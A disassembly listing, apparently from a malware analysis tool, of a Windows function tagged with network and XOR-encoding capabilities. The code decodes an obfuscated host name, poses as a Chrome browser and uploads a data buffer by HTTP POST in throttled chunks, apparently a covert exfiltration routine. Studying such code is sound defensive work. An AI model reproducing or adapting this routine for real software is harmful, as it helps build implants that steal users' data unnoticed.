Function at 0x1400011b0
Capabilities:
Connect to http server
Create http request
Encode data using xor
Reference http user-agent string
Send data
Send http request
Send http request with host header

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r13
push r15
lea rbp, [rsp - 0x968]
sub rsp, 0xa68
mov rax, qword [0x1400180e0]
xor rax, rsp
mov qword [rbp + 0x950], rax
mov rsi, r8
mov rdi, rdx
xor ebx, ebx
lea rcx, [rbp - 0x7e]
xor edx, edx
mov r8d, 0x1fe
mov r13, r9
mov dword [rsp + 0x40], 0x540f0e0d
mov dword [rsp + 0x44], 0xf13141e
mov dword [rsp + 0x48], 0x171e5405
mov dword [rsp + 0x4c], 0x14170a54
mov dword [rsp + 0x50], 0xa0a4c1e
mov dword [rsp + 0x54], 0x13551b21
mov dword [rsp + 0x58], 0x11561608
mov byte [rsp + 0x5c], 9
mov word [rbp - 0x80], bx
call fcn.140008090
mov ecx, ebx
lea r8, [rsp + 0x40]
lea r9, [rbp - 0x80]
mov eax, 0x55555556
lea r9, [r9 + 2]
lea r8, [r8 + 1]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
add ax, ax
add dx, ax
movzx eax, byte [r8 - 1]
add dx, ax
sub dx, cx
inc ecx
xor dx, 0x7a
mov word [r9 - 2], dx
cmp ecx, 0x1d
jl 0x140001241
xor r9d, r9d
lea rcx, str.Mozilla_5.0__Windows_NT_6.1__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_31.0.1650.57_Safari_537.36
xor r8d, r8d
lea edx, [r9 + 1]
mov qword [rsp + 0xaa0], r12
mov word [rbp - 0x46], bx
mov qword [rsp + 0xa60], r14
mov dword [rsp + 0x20], ebx
call qword [sym.imp.WININET.dll_InternetOpenW]
mov r15, rax
test rax, rax
je 0x140001480
mov qword [rsp + 0x38], rbx
mov dword [rsp + 0x30], ebx
lea rdx, [rbp - 0x80]
mov r8d, 0x50
xor r9d, r9d
mov rcx, rax
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], rbx
call qword [sym.imp.WININET.dll_InternetConnectW]
mov r12, rax
test rax, rax
je 0x140001480
mov qword [rsp + 0x38], rbx
lea rax, str.text_html_application_xhtmlxml_application_xml_q0.9_image_webp___q0.8
mov dword [rsp + 0x30], 0x400000
mov qword [rsp + 0x28], rax
lea r9, str.HTTP_1.1
lea rdx, str.POST
mov r8, rdi
mov rcx, r12
mov qword [rsp + 0x20], rbx
call qword [sym.imp.WININET.dll_HttpOpenRequestW]
mov r14, rax
test rax, rax
je 0x140001480
lea rcx, [rbp + 0x182]
xor edx, edx
mov r8d, 0x7ce
mov word [rbp + 0x180], bx
call fcn.140008090
lea rax, str.Accept_Language:_en_US_en_q0.8
mov qword [rsp + 0x30], rax
lea rax, str.Accept_Encoding:_gzip_deflate_sdch
lea r9, [rbp - 0x80]
mov qword [rsp + 0x28], rax
lea r8, str.Host:__s_s_r_n_s_r_n_s
lea rcx, [rbp + 0x180]
mov edx, 0x104
mov qword [rsp + 0x20], rsi
call fcn.1400037b0
xor eax, eax
lea rcx, [rbp + 0x180]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], rax
lea rax, [rbp + 0x180]
mov dword [rsp + 0x40], 0x38
mov qword [rsp + 0x50], rax
or rax, 0xffffffffffffffff
nop word [rax + rax]
inc rax
cmp word [rcx + rax*2], bx
jne 0x1400013d0
mov esi, dword [rbp + 0x9c0]
lea rdx, [rsp + 0x40]
xor r9d, r9d
xor r8d, r8d
mov rcx, r14
mov dword [rsp + 0x58], eax
mov dword [rsp + 0x6c], esi
mov qword [rsp + 0x20], rbx
call qword [sym.imp.WININET.dll_HttpSendRequestExW]
test eax, eax
je 0x140001480
mov edi, 0x2000
nop dword [rax]
lea eax, [rbx + rdi]
cmp eax, esi
jbe 0x14000141b
mov edi, esi
sub edi, ebx
mov edx, ebx
lea r9, [rsp + 0x78]
mov r8d, edi
add rdx, r13
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetWriteFile]
test eax, eax
je 0x140001480
mov ecx, 0x32
call qword [sym.imp.KERNEL32.dll_Sleep]
add ebx, dword [rsp + 0x78]
cmp ebx, esi
jb 0x140001410
xor r9d, r9d
xor edx, edx
mov rcx, r14
lea r8d, [r9 + 4]
call qword [sym.imp.WININET.dll_HttpEndRequestA]
test eax, eax
je 0x140001480
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r12
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, 1
jmp 0x140001488
call qword [sym.imp.KERNEL32.dll_GetLastError]
xor eax, eax
mov r14, qword [rsp + 0xa60]
mov r12, qword [rsp + 0xaa0]
mov rcx, qword [rbp + 0x950]
xor rcx, rsp
call fcn.1400033e0
add rsp, 0xa68
pop r15
pop r13
pop rdi
pop rsi
pop rbx
pop rbp
ret